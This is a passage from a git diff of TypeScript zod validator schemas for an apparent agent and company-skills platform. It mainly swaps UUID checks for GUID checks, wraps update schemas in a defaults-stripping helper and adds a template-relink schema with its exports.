-  id: z.string().uuid(),
-  companyId: z.string().uuid(),
-  companySkillId: z.string().uuid(),
+  id: z.string().guid(),
+  companyId: z.string().guid(),
+  companySkillId: z.string().guid(),
   revisionNumber: z.number().int().positive(),
   label: z.string().nullable(),
   fileInventory: z.array(companySkillVersionFileInventoryEntrySchema).default([]),
-  authorAgentId: z.string().uuid().nullable(),
+  authorAgentId: z.string().guid().nullable(),
   authorUserId: z.string().nullable(),
   createdAt: z.coerce.date(),
 });
@@ -146,17 +146,17 @@ export const companySkillVersionCreateSchema = z.object({
 }).default({});
 
 export const companySkillStarResultSchema = z.object({
-  skillId: z.string().uuid(),
+  skillId: z.string().guid(),
   starred: z.boolean(),
   starCount: z.number().int().nonnegative(),
 });
 
 export const companySkillCommentSchema = z.object({
-  id: z.string().uuid(),
-  companyId: z.string().uuid(),
-  companySkillId: z.string().uuid(),
-  parentCommentId: z.string().uuid().nullable(),
-  authorAgentId: z.string().uuid().nullable(),
+  id: z.string().guid(),
+  companyId: z.string().guid(),
+  companySkillId: z.string().guid(),
+  parentCommentId: z.string().guid().nullable(),
+  authorAgentId: z.string().guid().nullable(),
   authorUserId: z.string().nullable(),
   body: z.string(),
   deletedAt: z.coerce.date().nullable(),
@@ -166,7 +166,7 @@ export const companySkillCommentSchema = z.object({
 
 export const companySkillCommentCreateSchema = z.object({
   body: z.string().min(1),
-  parentCommentId: z.string().uuid().nullable().optional(),
+  parentCommentId: z.string().guid().nullable().optional(),
 });
 
 export const companySkillCommentUpdateSchema = z.object({
@@ -177,11 +177,11 @@ export const companySkillForkSchema = z.object({
   name: z.string().min(1).nullable().optional(),
   slug: z.string().min(1).nullable().optional(),
   sharingScope: companySkillSharingScopeSchema.optional(),
-  reassignAgentIds: z.array(z.string().uuid()).optional(),
+  reassignAgentIds: z.array(z.string().guid()).optional(),
 }).default({});
 
 export const companySkillForkReassignmentSchema = z.object({
-  agentId: z.string().uuid(),
+  agentId: z.string().guid(),
   previousSkillKey: z.string().min(1),
   nextSkillKey: z.string().min(1),
 });
@@ -193,7 +193,7 @@ export const companySkillForkResultSchema = z.object({
 });
 
 export const companySkillForkPrecheckResultSchema = z.object({
-  skillId: z.string().uuid(),
+  skillId: z.string().guid(),
   original: companySkillOriginalSummarySchema,
   agentUsageCount: z.number().int().nonnegative(),
   usedByAgents: z.array(companySkillUsageAgentSchema),
@@ -253,7 +253,7 @@ export const companySkillAuditFindingSchema = z.object({
 });
 
 export const companySkillAuditResultSchema = z.object({
-  skillId: z.string().uuid(),
+  skillId: z.string().guid(),
   installedHash: z.string().nullable(),
   originHash: z.string().nullable(),
   verdict: z.enum(["pass", "warning", "fail"]),
@@ -276,19 +276,19 @@ export const companySkillImportSchema = z.object({
 });
 
 export const companySkillProjectScanRequestSchema = z.object({
-  projectIds: z.array(z.string().uuid()).optional(),
-  workspaceIds: z.array(z.string().uuid()).optional(),
+  projectIds: z.array(z.string().guid()).optional(),
+  workspaceIds: z.array(z.string().guid()).optional(),
   mode: z.enum(["import", "preview"]).optional(),
   selection: z.array(z.object({
-    workspaceId: z.string().uuid(),
+    workspaceId: z.string().guid(),
     path: z.string().min(1),
     slug: z.string().min(1).optional(),
   })).optional(),
 });
 
 export const companySkillProjectBrowseRequestSchema = z.object({
-  projectId: z.string().uuid(),
-  workspaceId: z.string().uuid(),
+  projectId: z.string().guid(),
+  workspaceId: z.string().guid(),
   path: z.string().nullable().optional(),
 });
 
@@ -300,8 +300,8 @@ export const companySkillProjectBrowseEntrySchema = z.object({
 });
 
 export const companySkillProjectBrowseResultSchema = z.object({
-  projectId: z.string().uuid(),
-  workspaceId: z.string().uuid(),
+  projectId: z.string().guid(),
+  workspaceId: z.string().guid(),
   workspaceName: z.string().min(1),
   path: z.string().min(1),
   parentPath: z.string().nullable(),
@@ -313,21 +313,21 @@ export const companySkillProjectScanCandidateSchema = z.object({
   slug: z.string().min(1),
   name: z.string().min(1),
   description: z.string().nullable(),
-  workspaceId: z.string().uuid(),
+  workspaceId: z.string().guid(),
   workspaceName: z.string().min(1),
-  projectId: z.string().uuid(),
+  projectId: z.string().guid(),
   projectName: z.string().min(1),
   directoryRoot: z.string().min(1),
   relativePath: z.string().min(1),
   status: z.enum(["new", "already_imported", "conflict", "skipped"]),
-  existingSkillId: z.string().uuid().optional(),
+  existingSkillId: z.string().guid().optional(),
   reason: z.string().min(1).optional(),
 });
 
 export const companySkillProjectScanSkippedSchema = z.object({
-  projectId: z.string().uuid().nullable(),
+  projectId: z.string().guid().nullable(),
   projectName: z.string().min(1).nullable(),
-  workspaceId: z.string().uuid().nullable(),
+  workspaceId: z.string().guid().nullable(),
   workspaceName: z.string().nullable(),
   path: z.string().nullable(),
   reason: z.string().min(1),
@@ -336,12 +336,12 @@ export const companySkillProjectScanSkippedSchema = z.object({
 export const companySkillProjectScanConflictSchema = z.object({
   slug: z.string().min(1),
   key: z.string().min(1),
-  projectId: z.string().uuid(),
+  projectId: z.string().guid(),
   projectName: z.string().min(1),
-  workspaceId: z.string().uuid(),
+  workspaceId: z.string().guid(),
   workspaceName: z.string().min(1),
   path: z.string().min(1),
-  existingSkillId: z.string().uuid(),
+  existingSkillId: z.string().guid(),
   existingSkillKey: z.string().min(1),
   existingSourceLocator: z.string().nullable(),
   reason: z.string().min(1),
@@ -360,7 +360,7 @@ export const companySkillProjectScanResultSchema = z.object({
 });
 
 export const companySkillCreateSchema = z.object({
-  folderId: z.string().uuid().nullable().optional(),
+  folderId: z.string().guid().nullable().optional(),
   name: z.string().min(1),
   slug: z.string().min(1).nullable().optional(),
   description: z.string().nullable().optional(),
@@ -372,11 +372,11 @@ export const companySkillCreateSchema = z.object({
   homepageUrl: z.string().nullable().optional(),
   categories: z.array(z.string().min(1)).optional(),
   sharingScope: companySkillSharingScopeSchema.optional(),
-  forkedFromSkillId: z.string().uuid().nullable().optional(),
+  forkedFromSkillId: z.string().guid().nullable().optional(),
 });
 
 export const companySkillFileDetailSchema = z.object({
-  skillId: z.string().uuid(),
+  skillId: z.string().guid(),
   path: z.string().min(1),
   kind: z.enum(["skill", "markdown", "reference", "script", "asset", "other"]),
   content: z.string(),
@@ -398,9 +398,9 @@ export const companySkillFileDeleteSchema = z.object({
 export const companySkillTestRunStatusSchema = z.enum(["queued", "running", "succeeded", "failed", "cancelled"]);
 
 export const companySkillTestInputSchema = z.object({
-  id: z.string().uuid(),
-  companyId: z.string().uuid(),
-  skillId: z.string().uuid(),
+  id: z.string().guid(),
+  companyId: z.string().guid(),
+  skillId: z.string().guid(),
   name: z.string().min(1),
   content: z.string(),
   createdBy: z.string().nullable(),
@@ -423,14 +423,14 @@ export const companySkillTestInputUpdateSchema = z.object({
 
 export const companySkillTestRunTemplateSchema = z.object({
   id: z.string().min(1),
-  companyId: z.string().uuid(),
+  companyId: z.string().guid(),
   name: z.string().min(1),
   description: z.string().nullable(),
   body: z.string().min(1),
   builtIn: z.boolean(),
-  createdByAgentId: z.string().uuid().nullable(),
+  createdByAgentId: z.string().guid().nullable(),
   createdByUserId: z.string().nullable(),
-  updatedByAgentId: z.string().uuid().nullable(),
+  updatedByAgentId: z.string().guid().nullable(),
   updatedByUserId: z.string().nullable(),
   deletedAt: z.coerce.date().nullable(),
   createdAt: z.coerce.date(),
@@ -471,15 +471,15 @@ export const companySkillTestRunCostSummarySchema = z.object({
 });
 
 export const companySkillTestRunSchema = z.object({
-  id: z.string().uuid(),
-  companyId: z.string().uuid(),
-  skillId: z.string().uuid(),
-  inputId: z.string().uuid().nullable(),
+  id: z.string().guid(),
+  companyId: z.string().guid(),
+  skillId: z.string().guid(),
+  inputId: z.string().guid().nullable(),
   inputSnapshot: z.string(),
-  skillVersionId: z.string().uuid(),
-  agentId: z.string().uuid(),
+  skillVersionId: z.string().guid(),
+  agentId: z.string().guid(),
   agentConfigSnapshot: z.record(z.string(), z.unknown()),
-  issueId: z.string().uuid(),
+  issueId: z.string().guid(),
   templateId: z.string().nullable(),
   templateName: z.string().nullable(),
   templateBody: z.string().nullable(),
@@ -500,20 +500,20 @@ export const companySkillTestRunSchema = z.object({
 });
 
 export const companySkillTestRunCreateSchema = z.object({
-  inputId: z.string().uuid().nullable().optional(),
+  inputId: z.string().guid().nullable().optional(),
   content: z.string().min(1).nullable().optional(),
-  agentId: z.string().uuid(),
+  agentId: z.string().guid(),
   templateId: z.string().min(1).nullable().optional(),
   templateSnapshot: companySkillTestRunTemplateSnapshotSchema.nullable().optional(),
   // Re-run pins the viewed run's skill version instead of the live head, so the
   // new run reproduces the same snapshots (golden-path step 5).
-  skillVersionId: z.string().uuid().nullable().optional(),
+  skillVersionId: z.string().guid().nullable().optional(),
 }).refine((value) => Boolean(value.inputId) || Boolean(value.content?.trim()), {
   message: "inputId or content is required",
 });
 
 export const companySkillTestRunListQuerySchema = z.object({
-  inputId: z.string().uuid().optional(),
+  inputId: z.string().guid().optional(),
 });
 
 export const catalogSkillKindSchema = z.enum(["bundled", "optional"]);
diff --git a/packages/shared/src/validators/company.ts b/packages/shared/src/validators/company.ts
index dc808ccc906..b7052cf144f 100644
--- a/packages/shared/src/validators/company.ts
+++ b/packages/shared/src/validators/company.ts
@@ -4,8 +4,9 @@ import {
   ISSUE_THREAD_INTERACTION_RESOLVER_POLICIES,
   MAX_COMPANY_ATTACHMENT_MAX_BYTES,
 } from "../constants.js";
+import { objectWithoutDefaults } from "./partial.js";
 
-const logoAssetIdSchema = z.string().uuid().nullable().optional();
+const logoAssetIdSchema = z.string().guid().nullable().optional();
 const brandColorSchema = z.string().regex(/^#[0-9a-fA-F]{6}$/).nullable().optional();
 const feedbackDataSharingTermsVersionSchema = z.string().min(1).nullable().optional();
 const attachmentMaxBytesSchema = z
@@ -37,21 +38,23 @@ export const createCompanySchema = z.object({
 
 export type CreateCompany = z.infer<typeof createCompanySchema>;
 
-export const updateCompanySchema = createCompanySchema
-  .partial()
-  .extend({
-    status: z.enum(COMPANY_STATUSES).optional(),
-    spentMonthlyCents: z.number().int().nonnegative().optional(),
-    requireBoardApprovalForNewAgents: z.boolean().optional(),
-    interactionResolverGovernance: interactionResolverGovernanceSchema.optional(),
-    feedbackDataSharingEnabled: z.boolean().optional(),
-    feedbackDataSharingConsentAt: z.coerce.date().nullable().optional(),
-    feedbackDataSharingConsentByUserId: z.string().min(1).nullable().optional(),
-    feedbackDataSharingTermsVersion: feedbackDataSharingTermsVersionSchema,
-    brandColor: brandColorSchema,
-    logoAssetId: logoAssetIdSchema,
-    attachmentMaxBytes: attachmentMaxBytesSchema.optional(),
-  });
+export const updateCompanySchema = objectWithoutDefaults(
+  createCompanySchema
+    .partial()
+    .extend({
+      status: z.enum(COMPANY_STATUSES).optional(),
+      spentMonthlyCents: z.number().int().nonnegative().optional(),
+      requireBoardApprovalForNewAgents: z.boolean().optional(),
+      interactionResolverGovernance: interactionResolverGovernanceSchema.optional(),
+      feedbackDataSharingEnabled: z.boolean().optional(),
+      feedbackDataSharingConsentAt: z.coerce.date().nullable().optional(),
+      feedbackDataSharingConsentByUserId: z.string().min(1).nullable().optional(),
+      feedbackDataSharingTermsVersion: feedbackDataSharingTermsVersionSchema,
+      brandColor: brandColorSchema,
+      logoAssetId: logoAssetIdSchema,
+      attachmentMaxBytes: attachmentMaxBytesSchema.optional(),
+    }),
+);
 
 export type UpdateCompany = z.infer<typeof updateCompanySchema>;
 
diff --git a/packages/shared/src/validators/cost.ts b/packages/shared/src/validators/cost.ts
index d38ec436817..1ed2263178f 100644
--- a/packages/shared/src/validators/cost.ts
+++ b/packages/shared/src/validators/cost.ts
@@ -2,11 +2,11 @@ import { z } from "zod";
 import { BILLING_TYPES, COST_STATUSES } from "../constants.js";
 
 export const createCostEventSchema = z.object({
-  agentId: z.string().uuid(),
-  issueId: z.string().uuid().optional().nullable(),
-  projectId: z.string().uuid().optional().nullable(),
-  goalId: z.string().uuid().optional().nullable(),
-  heartbeatRunId: z.string().uuid().optional().nullable(),
+  agentId: z.string().guid(),
+  issueId: z.string().guid().optional().nullable(),
+  projectId: z.string().guid().optional().nullable(),
+  goalId: z.string().guid().optional().nullable(),
+  heartbeatRunId: z.string().guid().optional().nullable(),
   billingCode: z.string().optional().nullable(),
   provider: z.string().min(1),
   biller: z.string().min(1).optional(),
diff --git a/packages/shared/src/validators/decision.ts b/packages/shared/src/validators/decision.ts
index f2395af3a54..02af23ad448 100644
--- a/packages/shared/src/validators/decision.ts
+++ b/packages/shared/src/validators/decision.ts
@@ -5,7 +5,7 @@ export const decisionEffectStalenessSchema = z.enum(["strict", "lenient"]);
 export const decisionOptionStyleSchema = z.enum(["default", "primary", "destructive"]);
 
 const decisionEffectBaseShape = {
-  targetIssueId: z.string().uuid(),
+  targetIssueId: z.string().guid(),
   staleness: decisionEffectStalenessSchema,
 };
 
@@ -21,12 +21,12 @@ export const createIssueDecisionEffectSchema = z.object({
   draft: z.object({
     title: z.string().trim().min(1).max(500),
     description: z.string().max(100_000).nullable().optional(),
-    parentId: z.string().uuid().nullable().optional(),
-    assigneeAgentId: z.string().uuid().nullable().optional(),
+    parentId: z.string().guid().nullable().optional(),
+    assigneeAgentId: z.string().guid().nullable().optional(),
     assigneeUserId: z.string().trim().min(1).nullable().optional(),
-    projectId: z.string().uuid().nullable().optional(),
-    goalId: z.string().uuid().nullable().optional(),
-    blockedByIssueIds: z.array(z.string().uuid()).max(100).optional(),
+    projectId: z.string().guid().nullable().optional(),
+    goalId: z.string().guid().nullable().optional(),
+    blockedByIssueIds: z.array(z.string().guid()).max(100).optional(),
   }),
 });
 
@@ -40,14 +40,14 @@ export const updateIssueStatusDecisionEffectSchema = z.object({
 export const assignIssueDecisionEffectSchema = z.object({
   type: z.literal("assign_issue"),
   ...decisionEffectBaseShape,
-  assigneeAgentId: z.string().uuid().nullable().optional(),
+  assigneeAgentId: z.string().guid().nullable().optional(),
   assigneeUserId: z.string().trim().min(1).nullable().optional(),
   comment: z.string().trim().min(1).max(20_000).nullable().optional(),
 });
 
 export const cancelIssueTreeDecisionEffectSchema = z.object({
   type: z.literal("cancel_issue_tree"),
-  targetIssueId: z.string().uuid(),
+  targetIssueId: z.string().guid(),
   staleness: z.literal("strict"),
   reasonComment: z.string().trim().min(1).max(20_000),
 });
@@ -55,7 +55,7 @@ export const cancelIssueTreeDecisionEffectSchema = z.object({
 export const resolveBlockerDecisionEffectSchema = z.object({
   type: z.literal("resolve_blocker"),
   ...decisionEffectBaseShape,
-  removeBlockedByIssueIds: z.array(z.string().uuid()).min(1).max(100),
+  removeBlockedByIssueIds: z.array(z.string().guid()).min(1).max(100),
 });
 
 export const decisionEffectSchema = z.discriminatedUnion("type", [
diff --git a/packages/shared/src/validators/document-annotation.ts b/packages/shared/src/validators/document-annotation.ts
index 4fcfe1ba2cb..d60dca3192d 100644
--- a/packages/shared/src/validators/document-annotation.ts
+++ b/packages/shared/src/validators/document-annotation.ts
@@ -44,16 +44,16 @@ export const documentAnnotationAnchorSelectorSchema = z.object({
 }).strict();
 
 export const createDocumentAnnotationThreadSchema = z.object({
-  baseRevisionId: z.string().uuid(),
+  baseRevisionId: z.string().guid(),
   baseRevisionNumber: z.number().int().positive(),
   selector: documentAnnotationAnchorSelectorSchema,
   body: multilineTextSchema.pipe(z.string().min(1).max(20_000)),
-  issueCommentId: z.string().uuid().nullable().optional(),
+  issueCommentId: z.string().guid().nullable().optional(),
 }).strict();
 
 export const createDocumentAnnotationCommentSchema = z.object({
   body: multilineTextSchema.pipe(z.string().min(1).max(20_000)),
-  issueCommentId: z.string().uuid().nullable().optional(),
+  issueCommentId: z.string().guid().nullable().optional(),
 }).strict();
 
 export const updateDocumentAnnotationThreadSchema = z.object({
diff --git a/packages/shared/src/validators/environment-custom-images.ts b/packages/shared/src/validators/environment-custom-images.ts
index 07eb945f200..f79a98e19c5 100644
--- a/packages/shared/src/validators/environment-custom-images.ts
+++ b/packages/shared/src/validators/environment-custom-images.ts
@@ -31,8 +31,8 @@ export type EnvironmentCustomImageSetupConnectionSummary =
   z.infer<typeof environmentCustomImageSetupConnectionSummarySchema>;
 
 export const environmentCustomImageTemplateSchema = z.object({
-  id: z.string().uuid(),
-  environmentId: z.string().uuid(),
+  id: z.string().guid(),
+  environmentId: z.string().guid(),
   provider: providerKeySchema,
   templateKind: environmentCustomImageTemplateKindSchema,
   templateRef: z.string().min(1).nullable(),
@@ -40,10 +40,10 @@ export const environmentCustomImageTemplateSchema = z.object({
   sourceEnvironmentConfigFingerprint: z.string().min(1).nullable(),
   status: environmentCustomImageTemplateStatusSchema,
   createdByUserId: z.string().min(1).nullable(),
-  createdByAgentId: z.string().uuid().nullable(),
+  createdByAgentId: z.string().guid().nullable(),
   capturedAt: isoDateTime.nullable(),
   lastUsedAt: isoDateTime.nullable(),
-  supersededByTemplateId: z.string().uuid().nullable(),
+  supersededByTemplateId: z.string().guid().nullable(),
   metadata: optionalRecordSchema,
   createdAt: isoDateTime,
   updatedAt: isoDateTime,
@@ -52,16 +52,16 @@ export type EnvironmentCustomImageTemplate =
   z.infer<typeof environmentCustomImageTemplateSchema>;
 
 export const environmentCustomImageSetupSessionSchema = z.object({
-  id: z.string().uuid(),
-  environmentId: z.string().uuid(),
-  templateId: z.string().uuid().nullable(),
-  promotedTemplateId: z.string().uuid().nullable(),
+  id: z.string().guid(),
+  environmentId: z.string().guid(),
+  templateId: z.string().guid().nullable(),
+  promotedTemplateId: z.string().guid().nullable(),
   provider: providerKeySchema,
   providerLeaseId: z.string().min(1).nullable(),
-  environmentLeaseId: z.string().uuid().nullable(),
+  environmentLeaseId: z.string().guid().nullable(),
   status: environmentCustomImageSetupSessionStatusSchema,
   startedByUserId: z.string().min(1).nullable(),
-  startedByAgentId: z.string().uuid().nullable(),
+  startedByAgentId: z.string().guid().nullable(),
   baseTemplateRef: z.string().min(1).nullable(),
   expiresAt: isoDateTime.nullable(),
   finishedAt: isoDateTime.nullable(),
@@ -76,7 +76,7 @@ export type EnvironmentCustomImageSetupSession =
   z.infer<typeof environmentCustomImageSetupSessionSchema>;
 
 export const startEnvironmentCustomImageSetupSessionSchema = z.object({
-  templateId: z.string().uuid().optional().nullable(),
+  templateId: z.string().guid().optional().nullable(),
   ttlSeconds: z.number().int().min(60).max(24 * 60 * 60).optional(),
 }).strict();
 export type StartEnvironmentCustomImageSetupSession =
@@ -94,6 +94,12 @@ export const cancelEnvironmentCustomImageSetupSessionSchema = z.object({
 export type CancelEnvironmentCustomImageSetupSession =
   z.infer<typeof cancelEnvironmentCustomImageSetupSessionSchema>;
 
+export const relinkEnvironmentCustomImageTemplateSchema = z.object({
+  confirmBootSourceDrift: z.boolean().optional().default(false),
+}).strict();
+export type RelinkEnvironmentCustomImageTemplate =
+  z.infer<typeof relinkEnvironmentCustomImageTemplateSchema>;
+
 export const createEnvironmentCustomImageTerminalSessionTokenSchema = z.object({}).strict().default({});
 export type CreateEnvironmentCustomImageTerminalSessionToken =
   z.infer<typeof createEnvironmentCustomImageTerminalSessionTokenSchema>;
diff --git a/packages/shared/src/validators/execution-workspace.ts b/packages/shared/src/validators/execution-workspace.ts
index fc03413aebb..5f8874e5a06 100644
--- a/packages/shared/src/validators/execution-workspace.ts
+++ b/packages/shared/src/validators/execution-workspace.ts
@@ -30,26 +30,26 @@ const workspaceOverviewStatusFilterSchema = z.preprocess((value) => {
 }, z.array(executionWorkspaceStatusSchema).optional());
 
 export const workspaceOverviewQuerySchema = z.object({
-  projectId: z.string().uuid().optional(),
+  projectId: z.string().guid().optional(),
   status: workspaceOverviewStatusFilterSchema,
   limit: z.coerce.number().int().min(1).max(WORKSPACE_OVERVIEW_MAX_LIMIT).optional().default(WORKSPACE_OVERVIEW_DEFAULT_LIMIT),
   offset: z.coerce.number().int().min(0).optional().default(0),
 }).strict();
 
 export const executionWorkspaceConfigSchema = z.object({
-  environmentId: z.string().uuid().optional().nullable(),
+  environmentId: z.string().guid().optional().nullable(),
   provisionCommand: z.string().optional().nullable(),
   runtimeProvisionCommand: z.string().optional().nullable(),
   teardownCommand: z.string().optional().nullable(),
   cleanupCommand: z.string().optional().nullable(),
   workspaceRuntime: z.record(z.string(), z.unknown()).optional().nullable(),
   desiredState: z.enum(["running", "stopped", "manual"]).optional().nullable(),
-  serviceStates: z.record(z.enum(["running", "stopped", "manual"])).optional().nullable(),
+  serviceStates: z.record(z.string(), z.enum(["running", "stopped", "manual"])).optional().nullable(),
 }).strict();
 
 export const workspaceRuntimeControlTargetSchema = z.object({
   workspaceCommandId: z.string().min(1).optional().nullable(),
-  runtimeServiceId: z.string().uuid().optional().nullable(),
+  runtimeServiceId: z.string().guid().optional().nullable(),
   serviceIndex: z.number().int().nonnegative().optional().nullable(),
 }).strict();
 
@@ -77,7 +77,7 @@ export const executionWorkspaceCloseActionSchema = z.object({
 }).strict();
 
 export const executionWorkspaceCloseLinkedIssueSchema = z.object({
-  id: z.string().uuid(),
+  id: z.string().guid(),
   identifier: z.string().nullable(),
   title: z.string(),
   status: z.string(),
@@ -101,11 +101,11 @@ export const executionWorkspaceCloseGitReadinessSchema = z.object({
 
 export const workspaceRuntimeServiceSchema = z.object({
   id: z.string(),
-  companyId: z.string().uuid(),
-  projectId: z.string().uuid().nullable(),
-  projectWorkspaceId: z.string().uuid().nullable(),
-  executionWorkspaceId: z.string().uuid().nullable(),
-  issueId: z.string().uuid().nullable(),
+  companyId: z.string().guid(),
+  projectId: z.string().guid().nullable(),
+  projectWorkspaceId: z.string().guid().nullable(),
+  executionWorkspaceId: z.string().guid().nullable(),
+  issueId: z.string().guid().nullable(),
   scopeType: z.enum(["project_workspace", "execution_workspace", "run", "agent"]),
   scopeId: z.string().nullable(),
   serviceName: z.string(),
@@ -118,8 +118,8 @@ export const workspaceRuntimeServiceSchema = z.object({
   url: z.string().nullable(),
   provider: z.enum(["local_process", "adapter_managed"]),
   providerRef: z.string().nullable(),
-  ownerAgentId: z.string().uuid().nullable(),
-  startedByRunId: z.string().uuid().nullable(),
+  ownerAgentId: z.string().guid().nullable(),
+  startedByRunId: z.string().guid().nullable(),
   lastUsedAt: z.coerce.date(),
   startedAt: z.coerce.date(),
   stoppedAt: z.coerce.date().nullable(),
@@ -130,7 +130,7 @@ export const workspaceRuntimeServiceSchema = z.object({
   updatedAt: z.coerce.date(),
 }).strict();
 export const executionWorkspaceCloseReadinessSchema = z.object({
-  workspaceId: z.string().uuid(),
+  workspaceId: z.string().guid(),
   deliveryState: executionWorkspaceDeliveryStateSchema,
   state: executionWorkspaceCloseReadinessStateSchema,
   blockingReasons: z.array(z.string()),
diff --git a/packages/shared/src/validators/external-object.ts b/packages/shared/src/validators/external-object.ts
index 33ae0ce4900..80a58f89a7e 100644
--- a/packages/shared/src/validators/external-object.ts
+++ b/packages/shared/src/validators/external-object.ts
@@ -20,7 +20,7 @@ export const externalObjectCanonicalIdentitySchema = z
     scheme: z.enum(["http", "https"]),
     host: z.string().trim().min(1),
     path: z.string().trim().min(1),
-    queryParamHashes: z.record(z.string().regex(/^[a-f0-9]{64}$/)).optional(),
+    queryParamHashes: z.record(z.string(), z.string().regex(/^[a-f0-9]{64}$/)).optional(),
   })
   .strict();
 
diff --git a/packages/shared/src/validators/feedback.ts b/packages/shared/src/validators/feedback.ts
index 9ac34ef430f..25d83bcc092 100644
--- a/packages/shared/src/validators/feedback.ts
+++ b/packages/shared/src/validators/feedback.ts
@@ -13,7 +13,7 @@ export const feedbackDataSharingPreferenceSchema = z.enum(FEEDBACK_DATA_SHARING_
 
 export const upsertIssueFeedbackVoteSchema = z.object({
   targetType: feedbackTargetTypeSchema,
-  targetId: z.string().uuid(),
+  targetId: z.string().guid(),
   vote: feedbackVoteValueSchema,
   reason: z.string().trim().max(1000).optional(),
   allowSharing: z.boolean().optional(),
diff --git a/packages/shared/src/validators/finance.ts b/packages/shared/src/validators/finance.ts
index 1f8bd99a92f..f09eebf2840 100644
--- a/packages/shared/src/validators/finance.ts
+++ b/packages/shared/src/validators/finance.ts
@@ -2,12 +2,12 @@ import { z } from "zod";
 import { AGENT_ADAPTER_TYPES, FINANCE_DIRECTIONS, FINANCE_EVENT_KINDS, FINANCE_UNITS } from "../constants.js";
 
 export const createFinanceEventSchema = z.object({
-  agentId: z.string().uuid().optional().nullable(),
-  issueId: z.string().uuid().optional().nullable(),
-  projectId: z.string().uuid().optional().nullable(),
-  goalId: z.string().uuid().optional().nullable(),
-  heartbeatRunId: z.string().uuid().optional().nullable(),
-  costEventId: z.string().uuid().optional().nullable(),
+  agentId: z.string().guid().optional().nullable(),
+  issueId: z.string().guid().optional().nullable(),
+  projectId: z.string().guid().optional().nullable(),
+  goalId: z.string().guid().optional().nullable(),
+  heartbeatRunId: z.string().guid().optional().nullable(),
+  costEventId: z.string().guid().optional().nullable(),
   billingCode: z.string().optional().nullable(),
   description: z.string().max(500).optional().nullable(),
   eventKind: z.enum(FINANCE_EVENT_KINDS),
diff --git a/packages/shared/src/validators/folder.ts b/packages/shared/src/validators/folder.ts
index 4f3e2310295..b486444ab09 100644
--- a/packages/shared/src/validators/folder.ts
+++ b/packages/shared/src/validators/folder.ts
@@ -7,10 +7,10 @@ export const folderSlugSchema = z.string().trim().min(1).max(120).regex(
 );
 
 export const folderSchema = z.object({
-  id: z.string().uuid(),
-  companyId: z.string().uuid(),
+  id: z.string().guid(),
+  companyId: z.string().guid(),
   kind: folderKindSchema,
-  parentId: z.string().uuid().nullable(),
+  parentId: z.string().guid().nullable(),
   name: z.string().min(1),
   slug: folderSlugSchema,
   systemKey: z.string().nullable(),
@@ -35,7 +35,7 @@ export const folderListResultSchema = z.object({
 
 export const createFolderSchema = z.object({
   kind: folderKindSchema,
-  parentId: z.string().uuid().optional().nullable(),
+  parentId: z.string().guid().optional().nullable(),
   name: z.string().trim().min(1).max(120),
   slug: folderSlugSchema.optional().nullable(),
   color: z.string().trim().min(1).max(80).optional().nullable(),
@@ -52,7 +52,7 @@ export const updateFolderSchema = z.object({
 });
 
 export const moveFolderSchema = z.object({
-  parentId: z.string().uuid().optional().nullable(),
+  parentId: z.string().guid().optional().nullable(),
   position: z.number().int().min(0),
 });
 
@@ -62,8 +62,8 @@ export const ensureMySkillFolderSchema = z.object({
 
 export const moveFolderItemSchema = z.object({
   kind: folderKindSchema,
-  itemId: z.string().uuid(),
-  folderId: z.string().uuid().optional().nullable(),
+  itemId: z.string().guid(),
+  folderId: z.string().guid().optional().nullable(),
 });
 
 export type CreateFolder = z.infer<typeof createFolderSchema>;
diff --git a/packages/shared/src/validators/goal.ts b/packages/shared/src/validators/goal.ts
index 63ca9d848b2..60272413491 100644
--- a/packages/shared/src/validators/goal.ts
+++ b/packages/shared/src/validators/goal.ts
@@ -1,17 +1,18 @@
 import { z } from "zod";
 import { GOAL_LEVELS, GOAL_STATUSES } from "../constants.js";
+import { objectWithoutDefaults } from "./partial.js";
 
 export const createGoalSchema = z.object({
   title: z.string().min(1),
   description: z.string().optional().nullable(),
   level: z.enum(GOAL_LEVELS).optional().default("task"),
   status: z.enum(GOAL_STATUSES).optional().default("planned"),
-  parentId: z.string().uuid().optional().nullable(),
-  ownerAgentId: z.string().uuid().optional().nullable(),
+  parentId: z.string().guid().optional().nullable(),
+  ownerAgentId: z.string().guid().optional().nullable(),
 });
 
 export type CreateGoal = z.infer<typeof createGoalSchema>;
 
-export const updateGoalSchema = createGoalSchema.partial();
+export const updateGoalSchema = objectWithoutDefaults(createGoalSchema).partial();
 
 export type UpdateGoal = z.infer<typeof updateGoalSchema>;
diff --git a/packages/shared/src/validators/inbox-agent-policy.ts b/packages/shared/src/validators/inbox-agent-policy.ts
index 214bffcad1e..29cef157f4d 100644
--- a/packages/shared/src/validators/inbox-agent-policy.ts
+++ b/packages/shared/src/validators/inbox-agent-policy.ts
@@ -4,7 +4,7 @@ export const inboxAgentPolicyModeSchema = z.enum(["open", "allowlist", "disabled
 
 export const updateInboxAgentPolicySchema = z.object({
   mode: inboxAgentPolicyModeSchema,
-  allowedAgentIds: z.array(z.string().uuid()).max(100).default([]),
+  allowedAgentIds: z.array(z.string().guid()).max(100).default([]),
 }).strict().superRefine((value, ctx) => {
   if (value.mode !== "allowlist" && value.allowedAgentIds.length > 0) {
     ctx.addIssue({
diff --git a/packages/shared/src/validators/index.ts b/packages/shared/src/validators/index.ts
index e6f26a0adbb..2fc001d5a40 100644
--- a/packages/shared/src/validators/index.ts
+++ b/packages/shared/src/validators/index.ts
@@ -89,6 +89,7 @@ export {
   startEnvironmentCustomImageSetupSessionSchema,
   finishEnvironmentCustomImageSetupSessionSchema,
   cancelEnvironmentCustomImageSetupSessionSchema,
+  relinkEnvironmentCustomImageTemplateSchema,
   createEnvironmentCustomImageTerminalSessionTokenSchema,
   environmentCustomImageTerminalSessionTokenSchema,
   type EnvironmentCustomImageSetupConnectionSummary,
@@ -97,6 +98,7 @@ export {
   type StartEnvironmentCustomImageSetupSession,
   type FinishEnvironmentCustomImageSetupSession,
   type CancelEnvironmentCustomImageSetupSession,
+  type RelinkEnvironmentCustomImageTemplate,
   type CreateEnvironmentCustomImageTerminalSessionToken,
   type EnvironmentCustomImageTerminalSessionToken,
 } from "./environment-custom-images.js";
@@ -426,6 +428,10 @@ export {
   addIssueCommentSchema,
   issueThreadInteractionStatusSchema,
   issueThreadInteractionKindSchema,
+  issueThreadInteractionCanonicalResolverPolicySchema,
+  issueThreadInteractionResolverPolicySchema,
+  issueThreadInteractionResolverPolicyProvenanceSchema,
+  issueThreadInteractionEffectiveResolverPolicySourceSchema,
   issueThreadInteractionContinuationPolicySchema,
   suggestedTaskDraftSchema,
   suggestTasksPayloadSchema,
@@ -442,6 +448,8 @@ export {
   requestConfirmationPayloadSchema,
   requestConfirmationResumeFailureSchema,
   requestConfirmationResultSchema,
